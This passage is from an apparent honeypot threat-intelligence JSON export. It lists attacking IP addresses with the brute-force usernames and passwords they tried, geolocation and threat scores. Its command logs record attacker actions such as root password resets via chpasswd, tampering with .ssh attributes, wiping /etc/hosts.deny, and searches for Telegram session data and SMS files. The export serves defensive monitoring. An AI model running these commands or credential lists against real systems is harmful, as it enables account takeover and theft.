        "345gs5662d34",
        "Qwe123456.",
        "Samba123",
        "asdasd",
        "asterisk@123",
        "cristinacristina",
        "flw@123456",
        "irir",
        "luis123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:8cOfR9kDyD2t\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 131310,
      "as_org": "CX2 Computer Exchange",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T19:51:45.027000+00:00",
        "last_seen_30d": "2026-03-23T20:20:16.939000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 39
      }
    },
    "194.156.103.11": {
      "attack_count": 123,
      "first_seen": "2026-03-03T11:54:57.713Z",
      "last_seen": "2026-03-03T12:18:39.582Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123@@@",
        "3245gs5662d34",
        "33",
        "345gs5662d34",
        "Bingo@1993",
        "QWEasd123!",
        "Test_1234",
        "Tk123456@",
        "aditya123",
        "admin123#",
        "op",
        "rezareza",
        "rootROOT123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:FhYYDL4NO0Ti\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": null,
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:54:57.713000+00:00",
        "last_seen_30d": "2026-03-03T12:19:44.184000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 30
      }
    },
    "138.68.145.146": {
      "attack_count": 118,
      "first_seen": "2026-03-02T02:54:27.069Z",
      "last_seen": "2026-03-02T03:15:23.605Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "111...aaa",
        "123456@A",
        "123456Sa",
        "123@qq.com",
        "3245gs5662d34",
        "345gs5662d34",
        "Qwert123456",
        "Testing@123",
        "Zaq123",
        "Zaq1@wsx",
        "root22",
        "zxcASD123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:CYdBdwO5314e\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:54:27.069000+00:00",
        "last_seen_30d": "2026-03-02T03:16:30.468000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "152.32.130.118": {
      "attack_count": 118,
      "first_seen": "2026-03-05T07:08:46.296Z",
      "last_seen": "2026-03-05T07:35:22.717Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "12312345!!",
        "1q2w3e4r#",
        "2024111#",
        "2024pass#",
        "24asdqweasd",
        "3245gs5662d34",
        "345gs5662d34",
        "User!2026",
        "login@123",
        "qaz123456$",
        "qq!@#1234",
        "qw3r!!12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:3ZU45V4HilqY\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T07:08:46.296000+00:00",
        "last_seen_30d": "2026-03-05T07:36:30.405000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "36.255.223.44": {
      "attack_count": 118,
      "first_seen": "2026-03-02T03:11:24.418Z",
      "last_seen": "2026-03-02T03:32:14.360Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "11111111",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc.123456",
        "Administrator1",
        "Changeme_1234",
        "Pa$$w0rd2025",
        "Password123",
        "Qwerty1234567890",
        "Test123!!",
        "aA111111",
        "testpassword"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:iWlPxk3UezvO\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T03:11:24.418000+00:00",
        "last_seen_30d": "2026-03-02T03:33:23.695000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "112.216.120.67": {
      "attack_count": 109,
      "first_seen": "2026-03-21T22:38:00.504Z",
      "last_seen": "2026-03-21T23:01:46.771Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "adminuser",
        "alice",
        "bitrix",
        "gestion",
        "palworld",
        "sumit",
        "valheim",
        "vicente",
        "vpsuser"
      ],
      "passwords_attempted": [
        "password",
        "12345",
        "12345678",
        "3245gs5662d34",
        "Palworld123",
        "Valheim123!",
        "alicepass",
        "bitrix123",
        "vicente"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\no0LV58cmZQZe\\no0LV58cmZQZe\\n\"|passwd",
        "echo -e \"password\\no0LV58cmZQZe\\no0LV58cmZQZe\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jeonju",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T22:38:00.504000+00:00",
        "last_seen_30d": "2026-03-21T23:02:48.781000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 109,
        "Suricata": 24
      }
    },
    "212.11.64.229": {
      "attack_count": 104,
      "first_seen": "2026-03-06T21:49:05.837Z",
      "last_seen": "2026-03-06T22:25:24.322Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "ll",
        "root",
        "chat",
        "intell",
        "obc",
        "rootuser",
        "sumit"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123456",
        "12345678",
        "3245gs5662d34",
        "@qwer2024",
        "@qwer2025",
        "intell123",
        "obcpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\nt8rrxER377Zf\\nt8rrxER377Zf\\n\"|passwd",
        "echo -e \"1234\\nt8rrxER377Zf\\nt8rrxER377Zf\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T21:49:05.837000+00:00",
        "last_seen_30d": "2026-03-06T22:26:30.104000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 104,
        "Suricata": 26
      }
    },
    "176.65.132.210": {
      "attack_count": 99,
      "first_seen": "2026-03-09T06:55:42.933Z",
      "last_seen": "2026-03-09T06:57:01.145Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "debian",
        "git",
        "ks",
        "nobody",
        "operator",
        "pi",
        "squid",
        "telecomadmin",
        "uftp"
      ],
      "passwords_attempted": [
        "123",
        "7758521",
        "Admin@123",
        "QQ123456",
        "WA.123345",
        "abcd1234",
        "admintelecom",
        "bananapi",
        "ks",
        "linux",
        "nobody",
        "pass",
        "password",
        "squid",
        "toor",
        "uftp",
        "user",
        "vivo12345",
        "zaq12wsx"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 90.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.0,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 501,
        "days_active_30d": 26,
        "ports_targeted_30d": 55,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-05T20:34:49+00:00",
        "last_seen_30d": "2026-03-30T02:15:47.757000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 298,
        "Cowrie": 99,
        "Honeytrap": 99,
        "ConPot": 4,
        "Dionaea": 1
      }
    },
    "130.12.182.185": {
      "attack_count": 96,
      "first_seen": "2026-03-10T23:30:11.716Z",
      "last_seen": "2026-03-16T10:49:17.791Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "arun",
        "guest",
        "orangepi",
        "router",
        "squid",
        "support"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "NSSpassword1",
        "admin!@#",
        "admin12345",
        "alpine",
        "arun123",
        "guest",
        "orangepi",
        "squid",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 91.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1924,
        "days_active_30d": 29,
        "ports_targeted_30d": 337,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T02:53:23.817000+00:00",
        "last_seen_30d": "2026-03-30T18:00:04.714000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1427,
        "Honeytrap": 399,
        "Cowrie": 96,
        "Adbhoney": 2
      }
    },
    "101.36.113.241": {
      "attack_count": 94,
      "first_seen": "2026-03-26T11:21:26.635Z",
      "last_seen": "2026-03-26T11:32:06.018Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "escaner",
        "345gs5662d34",
        "api",
        "chenghao",
        "lzy",
        "prueba"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Api123",
        "Chenghao123!",
        "Escaner123",
        "Prueba123",
        "lzypass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Escaner123\\nUQ38pu6WvbFI\\nUQ38pu6WvbFI\\n\"|passwd",
        "echo -e \"Escaner123\\nUQ38pu6WvbFI\\nUQ38pu6WvbFI\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T11:21:26.635000+00:00",
        "last_seen_30d": "2026-03-26T11:33:07.667000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 16
      }
    },
    "66.167.166.174": {
      "attack_count": 50,
      "first_seen": "2026-03-19T07:54:07.877Z",
      "last_seen": "2026-03-19T07:59:33.168Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T07:54:07.877000+00:00",
        "last_seen_30d": "2026-03-19T08:00:35.397000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "157.230.117.128": {
      "attack_count": 42,
      "first_seen": "2026-03-09T01:59:00.914Z",
      "last_seen": "2026-03-09T01:59:04.574Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "User-Agent: Go-http-client/1.1",
        "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1",
        "GET /solr/admin/info/system HTTP/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 170,
        "days_active_30d": 5,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-08T12:26:01+00:00",
        "last_seen_30d": "2026-03-12T16:29:54.402000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 98,
        "Cowrie": 42,
        "Honeytrap": 29,
        "Tanner": 1
      }
    },
    "38.188.160.206": {
      "attack_count": 38,
      "first_seen": "2026-03-10T23:19:35.248Z",
      "last_seen": "2026-03-11T00:39:12.753Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "050583",
        "050588",
        "300782",
        "452",
        "jean-claude",
        "langue",
        "terry"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:19:35.248000+00:00",
        "last_seen_30d": "2026-03-11T00:40:16.184000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 21
      }
    },
    "83.249.148.185": {
      "attack_count": 37,
      "first_seen": "2026-03-31T07:11:22.696Z",
      "last_seen": "2026-03-31T07:12:31.972Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Uppsala",
      "asn": 1257,
      "as_org": "Tele2 SWIPnet",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T07:11:22.696000+00:00",
        "last_seen_30d": "2026-03-31T07:13:35.920000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 4
      }
    },
    "38.188.160.192": {
      "attack_count": 33,
      "first_seen": "2026-03-10T23:05:13.127Z",
      "last_seen": "2026-03-11T00:28:55.584Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "17101988",
        "bassman",
        "bourgeois",
        "destruction",
        "gorgeous1",
        "rkelly"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:05:13.127000+00:00",
        "last_seen_30d": "2026-03-11T00:30:05.074000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 17
      }
    },
    "98.70.30.1": {
      "attack_count": 29,
      "first_seen": "2026-03-11T03:30:41.140Z",
      "last_seen": "2026-03-11T03:33:02.765Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "nginx",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_upload",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
